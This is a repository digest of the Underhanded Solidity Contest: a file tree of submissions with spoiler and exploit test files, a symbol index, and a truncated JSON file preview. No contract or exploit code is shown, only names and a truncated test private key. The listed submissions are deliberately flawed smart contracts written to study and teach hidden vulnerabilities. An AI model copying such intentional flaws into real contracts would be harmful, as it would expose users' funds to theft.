ERC20DecimalsMockUpgradeable.sol │ │ │ │ │ ├── ERC20FlashMintMockUpgradeable.sol │ │ │ │ │ ├── ERC20MockUpgradeable.sol │ │ │ │ │ ├── ERC20PausableMockUpgradeable.sol │ │ │ │ │ ├── ERC20PermitMockUpgradeable.sol │ │ │ │ │ ├── ERC20SnapshotMockUpgradeable.sol │ │ │ │ │ ├── ERC20VotesCompMockUpgradeable.sol │ │ │ │ │ ├── ERC20VotesMockUpgradeable.sol │ │ │ │ │ ├── ERC20WrapperMockUpgradeable.sol │ │ │ │ │ ├── ERC2771ContextMockUpgradeable.sol │ │ │ │ │ ├── ERC3156FlashBorrowerMockUpgradeable.sol │ │ │ │ │ ├── ERC721BurnableMockUpgradeable.sol │ │ │ │ │ ├── ERC721EnumerableMockUpgradeable.sol │ │ │ │ │ ├── ERC721MockUpgradeable.sol │ │ │ │ │ ├── ERC721PausableMockUpgradeable.sol │ │ │ │ │ ├── ERC721ReceiverMockUpgradeable.sol │ │ │ │ │ ├── ERC721URIStorageMockUpgradeable.sol │ │ │ │ │ ├── ERC777MockUpgradeable.sol │ │ │ │ │ ├── ERC777SenderRecipientMockUpgradeable.sol │ │ │ │ │ ├── EnumerableMapMockUpgradeable.sol │ │ │ │ │ ├── EnumerableSetMockUpgradeable.sol │ │ │ │ │ ├── EtherReceiverMockUpgradeable.sol │ │ │ │ │ ├── GovernorCompMockUpgradeable.sol │ │ │ │ │ ├── GovernorCompatibilityBravoMockUpgradeable.sol │ │ │ │ │ ├── GovernorMockUpgradeable.sol │ │ │ │ │ ├── GovernorTimelockCompoundMockUpgradeable.sol │ │ │ │ │ ├── GovernorTimelockControlMockUpgradeable.sol │ │ │ │ │ ├── InitializableMock.sol │ │ │ │ │ ├── MathMockUpgradeable.sol │ │ │ │ │ ├── MerkleProofWrapperUpgradeable.sol │ │ │ │ │ ├── MulticallTestUpgradeable.sol │ │ │ │ │ ├── MulticallTokenMockUpgradeable.sol │ │ │ │ │ ├── MultipleInheritanceInitializableMocks.sol │ │ │ │ │ ├── OwnableMockUpgradeable.sol │ │ │ │ │ ├── PausableMockUpgradeable.sol │ │ │ │ │ ├── PullPaymentMockUpgradeable.sol │ │ │ │ │ ├── ReentrancyAttackUpgradeable.sol │ │ │ │ │ ├── ReentrancyMockUpgradeable.sol │ │ │ │ │ ├── RegressionImplementation.sol │ │ │ │ │ ├── SafeCastMockUpgradeable.sol │ │ │ │ │ ├── SafeERC20HelperUpgradeable.sol │ │ │ │ │ ├── SafeMathMockUpgradeable.sol │ │ │ │ │ ├── SignatureCheckerMockUpgradeable.sol │ │ │ │ │ ├── SignedSafeMathMockUpgradeable.sol │ │ │ │ │ ├── SingleInheritanceInitializableMocks.sol │ │ │ │ │ ├── StorageSlotMockUpgradeable.sol │ │ │ │ │ ├── StringsMockUpgradeable.sol │ │ │ │ │ ├── TimersBlockNumberImplUpgradeable.sol │ │ │ │ │ ├── TimersTimestampImplUpgradeable.sol │ │ │ │ │ ├── UUPS/ │ │ │ │ │ │ └── TestInProdUpgradeable.sol │ │ │ │ │ ├── WithInit.sol │ │ │ │ │ ├── compound/ │ │ │ │ │ │ └── CompTimelockUpgradeable.sol │ │ │ │ │ └── wizard/ │ │ │ │ │ ├── MyGovernor1Upgradeable.sol │ │ │ │ │ ├── MyGovernor2Upgradeable.sol │ │ │ │ │ └── MyGovernor3Upgradeable.sol │ │ │ │ ├── package.json │ │ │ │ ├── proxy/ │ │ │ │ │ ├── ClonesUpgradeable.sol │ │ │ │ │ ├── ERC1967/ │ │ │ │ │ │ └── ERC1967UpgradeUpgradeable.sol │ │ │ │ │ ├── README.adoc │ │ │ │ │ ├── beacon/ │ │ │ │ │ │ └── IBeaconUpgradeable.sol │ │ │ │ │ └── utils/ │ │ │ │ │ ├── Initializable.sol │ │ │ │ │ └── UUPSUpgradeable.sol │ │ │ │ ├── security/ │ │ │ │ │ ├── PausableUpgradeable.sol │ │ │ │ │ ├── PullPaymentUpgradeable.sol │ │ │ │ │ ├── README.adoc │ │ │ │ │ └── ReentrancyGuardUpgradeable.sol │ │ │ │ ├── token/ │ │ │ │ │ ├── ERC1155/ │ │ │ │ │ │ ├── ERC1155Upgradeable.sol │ │ │ │ │ │ ├── IERC1155ReceiverUpgradeable.sol │ │ │ │ │ │ ├── IERC1155Upgradeable.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── extensions/ │ │ │ │ │ │ │ ├── ERC1155BurnableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC1155PausableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC1155SupplyUpgradeable.sol │ │ │ │ │ │ │ └── IERC1155MetadataURIUpgradeable.sol │ │ │ │ │ │ ├── presets/ │ │ │ │ │ │ │ └── ERC1155PresetMinterPauserUpgradeable.sol │ │ │ │ │ │ └── utils/ │ │ │ │ │ │ ├── ERC1155HolderUpgradeable.sol │ │ │ │ │ │ └── ERC1155ReceiverUpgradeable.sol │ │ │ │ │ ├── ERC20/ │ │ │ │ │ │ ├── ERC20Upgradeable.sol │ │ │ │ │ │ ├── IERC20Upgradeable.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── extensions/ │ │ │ │ │ │ │ ├── ERC20BurnableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20CappedUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20FlashMintUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20PausableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20SnapshotUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20VotesCompUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20VotesUpgradeable.sol │ │ │ │ │ │ │ ├── ERC20WrapperUpgradeable.sol │ │ │ │ │ │ │ ├── IERC20MetadataUpgradeable.sol │ │ │ │ │ │ │ ├── draft-ERC20PermitUpgradeable.sol │ │ │ │ │ │ │ └── draft-IERC20PermitUpgradeable.sol │ │ │ │ │ │ ├── presets/ │ │ │ │ │ │ │ ├── ERC20PresetFixedSupplyUpgradeable.sol │ │ │ │ │ │ │ └── ERC20PresetMinterPauserUpgradeable.sol │ │ │ │ │ │ └── utils/ │ │ │ │ │ │ ├── SafeERC20Upgradeable.sol │ │ │ │ │ │ └── TokenTimelockUpgradeable.sol │ │ │ │ │ ├── ERC721/ │ │ │ │ │ │ ├── ERC721Upgradeable.sol │ │ │ │ │ │ ├── IERC721ReceiverUpgradeable.sol │ │ │ │ │ │ ├── IERC721Upgradeable.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── extensions/ │ │ │ │ │ │ │ ├── ERC721BurnableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC721EnumerableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC721PausableUpgradeable.sol │ │ │ │ │ │ │ ├── ERC721URIStorageUpgradeable.sol │ │ │ │ │ │ │ ├── IERC721EnumerableUpgradeable.sol │ │ │ │ │ │ │ └── IERC721MetadataUpgradeable.sol │ │ │ │ │ │ ├── presets/ │ │ │ │ │ │ │ └── ERC721PresetMinterPauserAutoIdUpgradeable.sol │ │ │ │ │ │ └── utils/ │ │ │ │ │ │ └── ERC721HolderUpgradeable.sol │ │ │ │ │ └── ERC777/ │ │ │ │ │ ├── ERC777Upgradeable.sol │ │ │ │ │ ├── IERC777RecipientUpgradeable.sol │ │ │ │ │ ├── IERC777SenderUpgradeable.sol │ │ │ │ │ ├── IERC777Upgradeable.sol │ │ │ │ │ ├── README.adoc │ │ │ │ │ └── presets/ │ │ │ │ │ └── ERC777PresetFixedSupplyUpgradeable.sol │ │ │ │ └── utils/ │ │ │ │ ├── AddressUpgradeable.sol │ │ │ │ ├── ArraysUpgradeable.sol │ │ │ │ ├── ContextUpgradeable.sol │ │ │ │ ├── CountersUpgradeable.sol │ │ │ │ ├── Create2Upgradeable.sol │ │ │ │ ├── MulticallUpgradeable.sol │ │ │ │ ├── README.adoc │ │ │ │ ├── StorageSlotUpgradeable.sol │ │ │ │ ├── StringsUpgradeable.sol │ │ │ │ ├── TimersUpgradeable.sol │ │ │ │ ├── cryptography/ │ │ │ │ │ ├── ECDSAUpgradeable.sol │ │ │ │ │ ├── MerkleProofUpgradeable.sol │ │ │ │ │ ├── SignatureCheckerUpgradeable.sol │ │ │ │ │ └── draft-EIP712Upgradeable.sol │ │ │ │ ├── escrow/ │ │ │ │ │ ├── ConditionalEscrowUpgradeable.sol │ │ │ │ │ ├── EscrowUpgradeable.sol │ │ │ │ │ └── RefundEscrowUpgradeable.sol │ │ │ │ ├── introspection/ │ │ │ │ │ ├── ERC165CheckerUpgradeable.sol │ │ │ │ │ ├── ERC165StorageUpgradeable.sol │ │ │ │ │ ├── ERC165Upgradeable.sol │ │ │ │ │ ├── ERC1820ImplementerUpgradeable.sol │ │ │ │ │ ├── IERC165Upgradeable.sol │ │ │ │ │ ├── IERC1820ImplementerUpgradeable.sol │ │ │ │ │ └── IERC1820RegistryUpgradeable.sol │ │ │ │ ├── math/ │ │ │ │ │ ├── MathUpgradeable.sol │ │ │ │ │ ├── SafeCastUpgradeable.sol │ │ │ │ │ ├── SafeMathUpgradeable.sol │ │ │ │ │ └── SignedSafeMathUpgradeable.sol │ │ │ │ └── structs/ │ │ │ │ ├── BitMapsUpgradeable.sol │ │ │ │ ├── EnumerableMapUpgradeable.sol │ │ │ │ └── EnumerableSetUpgradeable.sol │ │ │ ├── hardhat/ │ │ │ │ ├── env-artifacts.js │ │ │ │ ├── env-contract.js │ │ │ │ ├── task-get-compiler-input.js │ │ │ │ └── task-test-get-files.js │ │ │ ├── hardhat.config.js │ │ │ ├── migrations/ │ │ │ │ └── .gitkeep │ │ │ ├── netlify.toml │ │ │ ├── package.json │ │ │ └── renovate.json │ │ └── src/ │ │ ├── LipPool.sol │ │ ├── MockToken.sol │ │ └── test/ │ │ └── Contract.t.sol │ ├── submission12_HubertRitzdorf/ │ │ ├── README │ │ ├── foundry.toml │ │ ├── lib/ │ │ │ ├── ds-test/ │ │ │ │ ├── .gitignore │ │ │ │ ├── LICENSE │ │ │ │ ├── Makefile │ │ │ │ ├── default.nix │ │ │ │ ├── demo/ │ │ │ │ │ └── demo.sol │ │ │ │ └── src/ │ │ │ │ └── test.sol │ │ │ └── solmate/ │ │ │ ├── .dapprc │ │ │ ├── .gas-snapshot │ │ │ ├── .gitattributes │ │ │ ├── .github/ │ │ │ │ └── workflows/ │ │ │ │ └── tests.yml │ │ │ ├── .gitignore │ │ │ ├── .gitmodules │ │ │ ├── .prettierrc │ │ │ ├── .vscode/ │ │ │ │ └── settings.json │ │ │ ├── LICENSE │ │ │ ├── Makefile │ │ │ ├── README.md │ │ │ ├── lib/ │ │ │ │ └── ds-test/ │ │ │ │ ├── .gitignore │ │ │ │ ├── LICENSE │ │ │ │ ├── Makefile │ │ │ │ ├── default.nix │ │ │ │ ├── demo/ │ │ │ │ │ └── demo.sol │ │ │ │ └── src/ │ │ │ │ └── test.sol │ │ │ ├── package.json │ │ │ ├── shell.nix │ │ │ └── src/ │ │ │ ├── auth/ │ │ │ │ ├── Auth.sol │ │ │ │ └── authorities/ │ │ │ │ ├── MultiRolesAuthority.sol │ │ │ │ └── RolesAuthority.sol │ │ │ ├── test/ │ │ │ │ ├── Auth.t.sol │ │ │ │ ├── Bytes32AddressLib.t.sol │ │ │ │ ├── CREATE3.t.sol │ │ │ │ ├── DSTestPlus.t.sol │ │ │ │ ├── ERC1155.t.sol │ │ │ │ ├── ERC20.t.sol │ │ │ │ ├── ERC721.t.sol │ │ │ │ ├── FixedPointMathLib.t.sol │ │ │ │ ├── MultiRolesAuthority.t.sol │ │ │ │ ├── ReentrancyGuard.t.sol │ │ │ │ ├── RolesAuthority.t.sol │ │ │ │ ├── SSTORE2.t.sol │ │ │ │ ├── SafeCastLib.t.sol │ │ │ │ ├── SafeTransferLib.t.sol │ │ │ │ ├── WETH.t.sol │ │ │ │ └── utils/ │ │ │ │ ├── DSInvariantTest.sol │ │ │ │ ├── DSTestPlus.sol │ │ │ │ ├── Hevm.sol │ │ │ │ ├── mocks/ │ │ │ │ │ ├── MockAuthChild.sol │ │ │ │ │ ├── MockAuthority.sol │ │ │ │ │ ├── MockERC1155.sol │ │ │ │ │ ├── MockERC20.sol │ │ │ │ │ └── MockERC721.sol │ │ │ │ └── users/ │ │ │ │ ├── ERC1155User.sol │ │ │ │ ├── ERC20User.sol │ │ │ │ ├── ERC721User.sol │ │ │ │ └── GenericUser.sol │ │ │ ├── tokens/ │ │ │ │ ├── ERC1155.sol │ │ │ │ ├── ERC20.sol │ │ │ │ ├── ERC721.sol │ │ │ │ └── WETH.sol │ │ │ └── utils/ │ │ │ ├── Bytes32AddressLib.sol │ │ │ ├── CREATE3.sol │ │ │ ├── FixedPointMathLib.sol │ │ │ ├── ReentrancyGuard.sol │ │ │ ├── SSTORE2.sol │ │ │ ├── SafeCastLib.sol │ │ │ └── SafeTransferLib.sol │ │ ├── spoiler.md │ │ └── src/ │ │ ├── Auction.sol │ │ └── test/ │ │ └── Contract.t.sol │ ├── submission13_TeamChainSecurity/ │ │ ├── README │ │ ├── foundry.toml │ │ ├── lib/ │ │ │ ├── ds-test/ │ │ │ │ ├── .gitignore │ │ │ │ ├── LICENSE │ │ │ │ ├── Makefile │ │ │ │ ├── default.nix │ │ │ │ ├── demo/ │ │ │ │ │ └── demo.sol │ │ │ │ └── src/ │ │ │ │ └── test.sol │ │ │ └── solmate/ │ │ │ ├── .dapprc │ │ │ ├── .gas-snapshot │ │ │ ├── .gitattributes │ │ │ ├── .github/ │ │ │ │ └── workflows/ │ │ │ │ └── tests.yml │ │ │ ├── .gitignore │ │ │ ├── .gitmodules │ │ │ ├── .prettierrc │ │ │ ├── .vscode/ │ │ │ │ └── settings.json │ │ │ ├── LICENSE │ │ │ ├── Makefile │ │ │ ├── README.md │ │ │ ├── lib/ │ │ │ │ ├── ds-test/ │ │ │ │ │ ├── .gitignore │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── default.nix │ │ │ │ │ ├── demo/ │ │ │ │ │ │ └── demo.sol │ │ │ │ │ └── src/ │ │ │ │ │ └── test.sol │ │ │ │ └── weird-erc20/ │ │ │ │ ├── .envrc │ │ │ │ ├── .gitattributes │ │ │ │ ├── .gitignore │ │ │ │ ├── .gitmodules │ │ │ │ ├── Makefile │ │ │ │ ├── lib/ │ │ │ │ │ └── ds-test/ │ │ │ │ │ ├── .gitignore │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── default.nix │ │ │ │ │ ├── demo/ │ │ │ │ │ │ └── demo.sol │ │ │ │ │ └── src/ │ │ │ │ │ └── test.sol │ │ │ │ ├── nix/ │ │ │ │ │ ├── sources.json │ │ │ │ │ └── sources.nix │ │ │ │ ├── readme.md │ │ │ │ ├── shell.nix │ │ │ │ └── src/ │ │ │ │ ├── Approval.sol │ │ │ │ ├── ApprovalToZero.sol │ │ │ │ ├── BlockList.sol │ │ │ │ ├── Bytes32Metadata.sol │ │ │ │ ├── ERC20.sol │ │ │ │ ├── HighDecimals.sol │ │ │ │ ├── LowDecimals.sol │ │ │ │ ├── MissingReturns.sol │ │ │ │ ├── NoRevert.sol │ │ │ │ ├── Pausable.sol │ │ │ │ ├── Proxied.sol │ │ │ │ ├── Reentrant.sol │ │ │ │ ├── ReturnsFalse.sol │ │ │ │ ├── RevertToZero.sol │ │ │ │ ├── RevertZero.sol │ │ │ │ ├── TransferFee.sol │ │ │ │ ├── TransferFromSelf.sol │ │ │ │ ├── Uint96.sol │ │ │ │ ├── Upgradable.sol │ │ │ │ └── test.t.sol │ │ │ ├── package.json │ │ │ ├── shell.nix │ │ │ └── src/ │ │ │ ├── auth/ │ │ │ │ ├── Auth.sol │ │ │ │ └── authorities/ │ │ │ │ ├── MultiRolesAuthority.sol │ │ │ │ └── RolesAuthority.sol │ │ │ ├── test/ │ │ │ │ ├── Auth.t.sol │ │ │ │ ├── Bytes32AddressLib.t.sol │ │ │ │ ├── CREATE3.t.sol │ │ │ │ ├── DSTestPlus.t.sol │ │ │ │ ├── ERC1155.t.sol │ │ │ │ ├── ERC20.t.sol │ │ │ │ ├── ERC721.t.sol │ │ │ │ ├── FixedPointMathLib.t.sol │ │ │ │ ├── MultiRolesAuthority.t.sol │ │ │ │ ├── ReentrancyGuard.t.sol │ │ │ │ ├── RolesAuthority.t.sol │ │ │ │ ├── SSTORE2.t.sol │ │ │ │ ├── SafeCastLib.t.sol │ │ │ │ ├── SafeTransferLib.t.sol │ │ │ │ ├── WETH.t.sol │ │ │ │ └── utils/ │ │ │ │ ├── DSInvariantTest.sol │ │ │ │ ├── DSTestPlus.sol │ │ │ │ ├── Hevm.sol │ │ │ │ ├── mocks/ │ │ │ │ │ ├── MockAuthChild.sol │ │ │ │ │ ├── MockAuthority.sol │ │ │ │ │ ├── MockERC1155.sol │ │ │ │ │ ├── MockERC20.sol │ │ │ │ │ └── MockERC721.sol │ │ │ │ └── users/ │ │ │ │ ├── ERC1155User.sol │ │ │ │ ├── ERC20User.sol │ │ │ │ ├── ERC721User.sol │ │ │ │ └── GenericUser.sol │ │ │ ├── tokens/ │ │ │ │ ├── ERC1155.sol │ │ │ │ ├── ERC20.sol │ │ │ │ ├── ERC721.sol │ │ │ │ └── WETH.sol │ │ │ └── utils/ │ │ │ ├── Bytes32AddressLib.sol │ │ │ ├── CREATE3.sol │ │ │ ├── FixedPointMathLib.sol │ │ │ ├── ReentrancyGuard.sol │ │ │ ├── SSTORE2.sol │ │ │ ├── SafeCastLib.sol │ │ │ └── SafeTransferLib.sol │ │ ├── spoiler.txt │ │ └── src/ │ │ ├── Contract.sol │ │ └── test/ │ │ └── Contract.t.sol │ ├── submission14_0xplaintxt/ │ │ ├── Colombo.txt │ │ ├── IColombo.txt │ │ ├── README.MD │ │ └── Spoilers.MD │ ├── submission15_MartinSwende/ │ │ ├── AssetMgr.sol │ │ ├── README.md │ │ ├── RUGPULL.txt │ │ └── SimpEX.sol │ ├── submission16_VladToie/ │ │ ├── Egg.sol │ │ ├── EggMarket.sol │ │ ├── README.md │ │ └── spoilers.md │ ├── submission17_MichaelZhu/ │ │ ├── BrokenSea.sol │ │ ├── README.md │ │ └── SPOILER.md │ ├── submission18_DavidNunez/ │ │ ├── README.md │ │ ├── brownie-config.yaml │ │ ├── contracts/ │ │ │ ├── CheapMarketplace.sol │ │ │ ├── NFT.sol │ │ │ └── PaymentToken.sol │ │ ├── spoiler.md │ │ └── tests/ │ │ └── test_marketplace.py │ ├── submission1_RikhardHjort/ │ │ ├── README.md │ │ ├── rugpull.txt │ │ └── src/ │ │ └── DEX.sol │ ├── submission2_Ashiq/ │ │ ├── README.md │ │ ├── Swap121.sol │ │ └── spoiler.txt │ ├── submission3_LeoAlt/ │ │ ├── README.md │ │ ├── SPOILER.md │ │ ├── foundry.toml │ │ ├── lib/ │ │ │ ├── ds-test/ │ │ │ │ ├── .gitignore │ │ │ │ ├── LICENSE │ │ │ │ ├── Makefile │ │ │ │ ├── default.nix │ │ │ │ ├── demo/ │ │ │ │ │ └── demo.sol │ │ │ │ └── src/ │ │ │ │ └── test.sol │ │ │ └── solmate/ │ │ │ ├── .dapprc │ │ │ ├── .gas-snapshot │ │ │ ├── .gitattributes │ │ │ ├── .github/ │ │ │ │ └── workflows/ │ │ │ │ └── tests.yml │ │ │ ├── .gitignore │ │ │ ├── .gitmodules │ │ │ ├── .prettierrc │ │ │ ├── .vscode/ │ │ │ │ └── settings.json │ │ │ ├── LICENSE │ │ │ ├── Makefile │ │ │ ├── README.md │ │ │ ├── lib/ │ │ │ │ ├── ds-test/ │ │ │ │ │ ├── .gitignore │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── default.nix │ │ │ │ │ ├── demo/ │ │ │ │ │ │ └── demo.sol │ │ │ │ │ └── src/ │ │ │ │ │ └── test.sol │ │ │ │ └── weird-erc20/ │ │ │ │ ├── .envrc │ │ │ │ ├── .gitattributes │ │ │ │ ├── .gitignore │ │ │ │ ├── .gitmodules │ │ │ │ ├── Makefile │ │ │ │ ├── lib/ │ │ │ │ │ └── ds-test/ │ │ │ │ │ ├── .gitignore │ │ │ │ │ ├── LICENSE │ │ │ │ │ ├── Makefile │ │ │ │ │ ├── default.nix │ │ │ │ │ ├── demo/ │ │ │ │ │ │ └── demo.sol │ │ │ │ │ └── src/ │ │ │ │ │ └── test.sol │ │ │ │ ├── nix/ │ │ │ │ │ ├── sources.json │ │ │ │ │ └── sources.nix │ │ │ │ ├── readme.md │ │ │ │ ├── shell.nix │ │ │ │ └── src/ │ │ │ │ ├── Approval.sol │ │ │ │ ├── ApprovalToZero.sol │ │ │ │ ├── BlockList.sol │ │ │ │ ├── Bytes32Metadata.sol │ │ │ │ ├── ERC20.sol │ │ │ │ ├── HighDecimals.sol │ │ │ │ ├── LowDecimals.sol │ │ │ │ ├── MissingReturns.sol │ │ │ │ ├── NoRevert.sol │ │ │ │ ├── Pausable.sol │ │ │ │ ├── Proxied.sol │ │ │ │ ├── Reentrant.sol │ │ │ │ ├── ReturnsFalse.sol │ │ │ │ ├── RevertToZero.sol │ │ │ │ ├── RevertZero.sol │ │ │ │ ├── TransferFee.sol │ │ │ │ ├── TransferFromSelf.sol │ │ │ │ ├── Uint96.sol │ │ │ │ ├── Upgradable.sol │ │ │ │ └── test.t.sol │ │ │ ├── package.json │ │ │ ├── shell.nix │ │ │ └── src/ │ │ │ ├── auth/ │ │ │ │ ├── Auth.sol │ │ │ │ └── authorities/ │ │ │ │ ├── MultiRolesAuthority.sol │ │ │ │ └── RolesAuthority.sol │ │ │ ├── mixins/ │ │ │ │ └── ERC4626.sol │ │ │ ├── test/ │ │ │ │ ├── Auth.t.sol │ │ │ │ ├── Bytes32AddressLib.t.sol │ │ │ │ ├── CREATE3.t.sol │ │ │ │ ├── DSTestPlus.t.sol │ │ │ │ ├── ERC1155.t.sol │ │ │ │ ├── ERC20.t.sol │ │ │ │ ├── ERC4626.t.sol │ │ │ │ ├── ERC721.t.sol │ │ │ │ ├── FixedPointMathLib.t.sol │ │ │ │ ├── MultiRolesAuthority.t.sol │ │ │ │ ├── ReentrancyGuard.t.sol │ │ │ │ ├── RolesAuthority.t.sol │ │ │ │ ├── SSTORE2.t.sol │ │ │ │ ├── SafeCastLib.t.sol │ │ │ │ ├── SafeTransferLib.t.sol │ │ │ │ ├── WETH.t.sol │ │ │ │ └── utils/ │ │ │ │ ├── DSInvariantTest.sol │ │ │ │ ├── DSTestPlus.sol │ │ │ │ ├── Hevm.sol │ │ │ │ ├── mocks/ │ │ │ │ │ ├── MockAuthChild.sol │ │ │ │ │ ├── MockAuthority.sol │ │ │ │ │ ├── MockERC1155.sol │ │ │ │ │ ├── MockERC20.sol │ │ │ │ │ ├── MockERC4626.sol │ │ │ │ │ └── MockERC721.sol │ │ │ │ └── users/ │ │ │ │ ├── ERC1155User.sol │ │ │ │ ├── ERC20User.sol │ │ │ │ ├── ERC4626User.sol │ │ │ │ ├── ERC721User.sol │ │ │ │ └── GenericUser.sol │ │ │ ├── tokens/ │ │ │ │ ├── ERC1155.sol │ │ │ │ ├── ERC20.sol │ │ │ │ ├── ERC721.sol │ │ │ │ └── WETH.sol │ │ │ └── utils/ │ │ │ ├── Bytes32AddressLib.sol │ │ │ ├── CREATE3.sol │ │ │ ├── FixedPointMathLib.sol │ │ │ ├── ReentrancyGuard.sol │ │ │ ├── SSTORE2.sol │ │ │ ├── SafeCastLib.sol │ │ │ └── SafeTransferLib.sol │ │ └── src/ │ │ ├── MatchMaking.sol │ │ └── test/ │ │ └── MatchMaking.t.sol │ ├── submission4_WilliamBowling/ │ │ ├── DoubleDex.sol │ │ ├── readme.md │ │ └── spoiler.md │ ├── submission5_ArthurHsiao/ │ │ ├── NFTExchange.sol │ │ ├── README.md │ │ └── spoiler.txt │ ├── submission6_KurtWillis/ │ │ ├── README.md │ │ ├── SPOILER.md │ │ └── contracts/ │ │ └── NFTOrderBook.sol │ ├── submission7_RobertoCano/ │ │ ├── EXPLOIT/ │ │ │ ├── SPOILER.md │ │ │ └── VeryCoolAMMExploit.sol │ │ ├── README.md │ │ ├── VeryCoolPeriphery.sol │ │ ├── VeryCoolPoolETH.sol │ │ └── VeryCoolPoolTokens.sol │ ├── submission8_MartínAbbatemarco/ │ │ ├── README.md │ │ ├── SPOILER.md │ │ └── UniswapWrapper.sol │ └── submission9_TynanRichards/ │ ├── README.md │ ├── SPOILERS.md │ └── dexploit.sol ├── 2024/ │ └── submissions_2024/ │ ├── submission1_Stepan/ │ │ ├── LightStorage.sol │ │ ├── LightVesting.sol │ │ ├── README.md │ │ └── SPOILER.md │ ├── submission2_Seppilon/ │ │ ├── README.md │ │ ├── foundry.toml │ │ ├── remappings.txt │ │ ├── src/ │ │ │ ├── InstantVoting.sol │ │ │ └── Mock/ │ │ │ ├── MockExecutor.sol │ │ │ ├── MockVoterRegistry.sol │ │ │ └── MockVotingToken.sol │ │ └── test/ │ │ ├── exploit.t.sol │ │ └── legit.t.sol │ ├── submission3_William_Bowling/ │ │ ├── OffchainStaking.sol │ │ ├── readme.txt │ │ └── spoiler.txt │ └── submission4_Gerard_Persoon/ │ ├── README.txt │ ├── spoiler.sol │ ├── spoiler.txt │ └── token.sol ├── CNAME ├── LICENSE.txt ├── README.md ├── assets/ │ ├── css/ │ │ ├── main.css │ │ └── noscript.css │ ├── js/ │ │ ├── main.js │ │ └── util.js │ └── sass/ │ ├── base/ │ │ ├── _page.scss │ │ ├── _reset.scss │ │ └── _typography.scss │ ├── components/ │ │ ├── _actions.scss │ │ ├── _box.scss │ │ ├── _button.scss │ │ ├── _contact.scss │ │ ├── _features.scss │ │ ├── _form.scss │ │ ├── _icon.scss │ │ ├── _icons.scss │ │ ├── _image.scss │ │ ├── _list.scss │ │ ├── _menu.scss │ │ ├── _row.scss │ │ ├── _section.scss │ │ ├── _split.scss │ │ ├── _spotlights.scss │ │ ├── _table.scss │ │ └── _wrapper.scss │ ├── layout/ │ │ ├── _footer.scss │ │ ├── _header.scss │ │ ├── _intro.scss │ │ ├── _sidebar.scss │ │ └── _wrapper.scss │ ├── libs/ │ │ ├── _breakpoints.scss │ │ ├── _functions.scss │ │ ├── _html-grid.scss │ │ ├── _mixins.scss │ │ ├── _vars.scss │ │ └── _vendor.scss │ ├── main.scss │ └── noscript.scss └── index.html
SYMBOL INDEX (15 symbols across 2 files) FILE: 2022/submissions_2022/submission10_SantiagoPalladino/test/happy.js constant SELLER_PK (line 6) | const SELLER_PK = '0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f... constant SELLER_ADDRESS (line 7) | const SELLER_ADDRESS = '0x70997970C51812dc3A010C7d01b50e0d17dc79C8'; FILE: 2022/submissions_2022/submission18_DavidNunez/tests/test_marketplace.py function isolate (line 9) | def isolate(fn_isolation): function deployer (line 15) | def deployer(accounts): function buyer (line 19) | def buyer(accounts): function seller (line 23) | def seller(accounts): function privkey (line 26) | def privkey(x): function token (line 30) | def token(PaymentToken, deployer, buyer): function nft (line 36) | def nft(NFT, deployer, seller): function market (line 43) | def market(CheapMarketplace, token, nft, deployer, seller): function test_setup (line 46) | def test_setup(market, nft, token, deployer, buyer, seller): function test_cancel (line 52) | def test_cancel(market, seller): function test_atomic_match (line 58) | def test_atomic_match(market, seller, buyer, deployer, nft, token): function test_match_after_cancel_must_fail (line 75) | def test_match_after_cancel_must_fail(market, seller, buyer, deployer, n... function test_atomic_match_exploit (line 95) | def test_atomic_match_exploit(market, seller, buyer, deployer, nft, token):
Condensed preview — 1111 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (5,259K chars).
[
{
"path": ".github/workflows/deploy-static.yml",
"chars": 938,
"preview": "name: Deploy the Solidity Underhanded Contest to GitHub Pages\n\non:\n push:\n branches: [\"master\"]\n workflow_dispatch:"
},
{
"path": ".gitignore",
"chars": 127,
"preview": ".git\n\n### Jekyll ###\n_site/\n.sass-cache/\n.jekyll-cache/\n.jekyll-metadata\n# Ignore folders generated by Bundler\n.bundle/\n"
},
{
"path": "2020/CNAME",
"chars": 28,
"preview": "underhanded.soliditylang.org"
},
{
"path": "2020/LICENSE.txt",
"chars": 17128,
"preview": "Creative Commons Attribution 3.0 Unported\r\nhttp://creativecommons.org/licenses/by/3.0/\r\n\r\nLicense\r\n\r\nTHE WORK (AS DEFINE"
},
{
"path": "2020/README.md",
"chars": 92,
"preview": "# solidity-underhanded-contest\n\nWebsite and resources for the Underhanded Solidity Contest.\n"
},
{
"path": "2020/assets/css/main.css",
"chars": 69701,
"preview": "@import url(fontawesome-all.min.css);\n\n/*\n\tHyperspace by HTML5 UP\n\thtml5up.net | @ajlkn\n\tFree for personal and commercia"
},
{
"path": "2020/assets/css/noscript.css",
"chars": 899,
"preview": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (htm"
},
{
"path": "2020/assets/js/main.js",
"chars": 4061,
"preview": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (htm"
},
{
"path": "2020/assets/js/util.js",
"chars": 12433,
"preview": "(function($) {\r\n\r\n\t/**\r\n\t * Generate an indented list of links from a nav. Meant for use with panel().\r\n\t * @return {jQu"
},
{
"path": "2020/assets/sass/base/_page.scss",
"chars": 988,
"preview": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 li"
},
{
"path": "2020/assets/sass/base/_reset.scss",
"chars": 1570,
